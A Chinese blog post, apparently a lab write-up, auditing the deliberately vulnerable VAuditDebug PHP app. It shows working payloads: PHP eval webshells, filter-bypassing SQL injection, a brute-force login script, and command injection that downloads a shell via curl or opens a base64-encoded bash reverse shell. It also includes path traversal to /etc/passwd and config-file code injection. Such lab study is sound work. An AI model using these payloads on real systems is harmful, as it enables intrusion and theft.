VAudit代码审计从0到1,思路记录

全方位对VAuditDebug版本进行代码审计和漏洞利用,最后修复,主要记录审计过程和思路,此博客会持续更新。

day1

先使用Seay代码审计工具进行扫描,共发现49个疑似漏洞,逐一对漏洞进行分析。

ID1

根据提示疑似文件包含漏洞,查看页面源代码发现该页面存在参数'module',如果没有进行传递便正常显示,如果传递则引用该参数。看到这里就感觉妥了,尽管它对引用参数进行限制但include函数在进行文件包含时会把所有文件均当做PHP文件进行解析。

 我们尝试直接在本地服务器创建shell.inc文件,使用文件包含访问本地服务器getshell。shell.inc代码如下

<?php eval($_POST['code']) ?>

见证奇迹,访问成功,接下来了向服务器写入木马文件

<?php 
$fp=fopen('uploads/shell.php','w');
fwrite($fp,'<?php eval($_POST['code']); ?>');
fclose($fp);
?>

到了这一步直接上中国菜刀,轻松连接上,而我们知道sys和upload文件夹是拥有写入权限的,理论上可以为所欲为了

 ID2

根据提示找到messageDetail.php,查看源代码,有是个不得了的发现,简单查找发现这是留言的详情页面,而且未对用户输入的ID字段做检测,但通过sqlwaf函数进行了替换,既然没做检测我们绕过他的替换关键字应该能行。

 替换内容如下:

 

发现'&&','||','''均被替换为了空,可以利用该参数进行绕过,成功取到数据库名,payload为:

?id=16 a||nd up||datexml(1,con||cat(0x7e,database(),0x7e),1) --+

ID3

根据提示查看messageSub.php源代码

访问该页面为404,带上参数后直接在留言板显示,那确定这是留言板的后台代码,提交数据时同样对数据做了处理但这次使用的是mysql_real_escape_string函数,暂时无法下手。

ID4

通过提示找到search.php,查看源码

这个SQL语句好像没做防护,但实际操作发现单引号被转义,宽字节注入无效,各种转义也无效暂时放弃。不过提示是这里存在XSS注入倒是存在,可以进行反射型XSS注入(firefox不行,谷歌行)

ID5

根据扫描结果来太乱了,决定根据业务逻辑来,先看看登录有无漏洞,查看登录代码发现未作登录次数限制,可以考虑爆破。

这里采用python爆破,通过抓包拿到post数据用密码字典爆破,代码如下:

import hashlib,requests,threading
def blast_app():
    # username: coco
    # password: 123456
    value="退出"
    with open("password-top101.txt","r") as fp:
        text=fp.readlines()
    url='http://192.168.79.152:81/user/logCheck.php'
    for i in text:
        i=i.strip()
        data={"user":"coco","pass":i,"submit":"%E7%99%BB%E5%BD%95"}
        res=requests.post(url, data)
        # print(res.text)
        if value in res.text:
            print('登录密码为',i)
            break
blast_app()

爆破成功!

ID6 

同理尝试爆破管理员账户,因为有验证码,采用burp爆破

1.拦截数据

 2.发送到intrude将user和pass设置为变量,其余不变

3.添加payload数据开始爆破,可以看到有一组数据明显与其他数据不同,证明用户名和密码为admin。

 ID7

进入管理员界面后进入ping界面,使用192.168.79.152 123 >>../uploads/1.php可以把内容写进去,但无法识别192.168.79.152 "<?php phpinfo();?>" >>../uploads/1.php,可以使用

ping -c 3 192.168.79.152 | cat index.php >>../uploads/1.txt

来获取源代码,或者查看私密文件。

三种getshell的方式

1.采用base64编码,将木马进行base64编码,再解码

127.0.0.1;echo PD9waHAgcGhwaW5mbygpOyA/Pg== | base64 -d >../uploads/shell.php

2.curl 访问提前编写好的木马(使用curl无法解析的文件类型)

127.0.0.1;curl http://192.168.114.195/shell.txt > ../uploads/shell.php

3.反弹shell,利用kali监听端口,让服务器连接kali(payload后续补充)

127.0.0.1;echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xMzIvNDQ0NCAwPiYx" | base64 -d | bash

ID8

文件任意读取:

查看avatar.php源代码:存在危险函数file_get_contents,通过代码审计发现$_SESSION['avatar']

数据来源于updateAvatar.php

updateAvatar.php源代码:$_FILES['upfile']是我们用户上传的数据,可控。但数据进行了处理,检测文件后缀名合格后对文件进行了重命名并且移动,我们无法控制文件名。不难发现这里未对数据进行转义,可以进行SQL注入,想法法通过sql注入使得文件名达到我们想要的效果。

 因为update有一个特性是对一个数据进行重复复制时取最后一个值作为数据值,尝试构建payload,由于文件名不能包含/or\,所以将想要访问的文件名改为16进制。

',user_avatar = 0x2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764 where user_name='coco'#.jpg

抓包查看:

 ID9

安装漏洞:

查看install.php的代码时发现就算存在install.lock文件依然会执行后面的代码,而且config.php文件是由此生成的,数据库连接参数是由用户上传可控,其中的dbname只做了重复检测,并未对参数进行校验,可以进行SQL注入

 构建payload:payload既要满足SQL语句的规范性,还要使得在config.php文件中可以执行

 使用``来使得SQL语句合法。

`";phpinfo();//`

 访问install.php发送post请求,加上参数植入木马

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值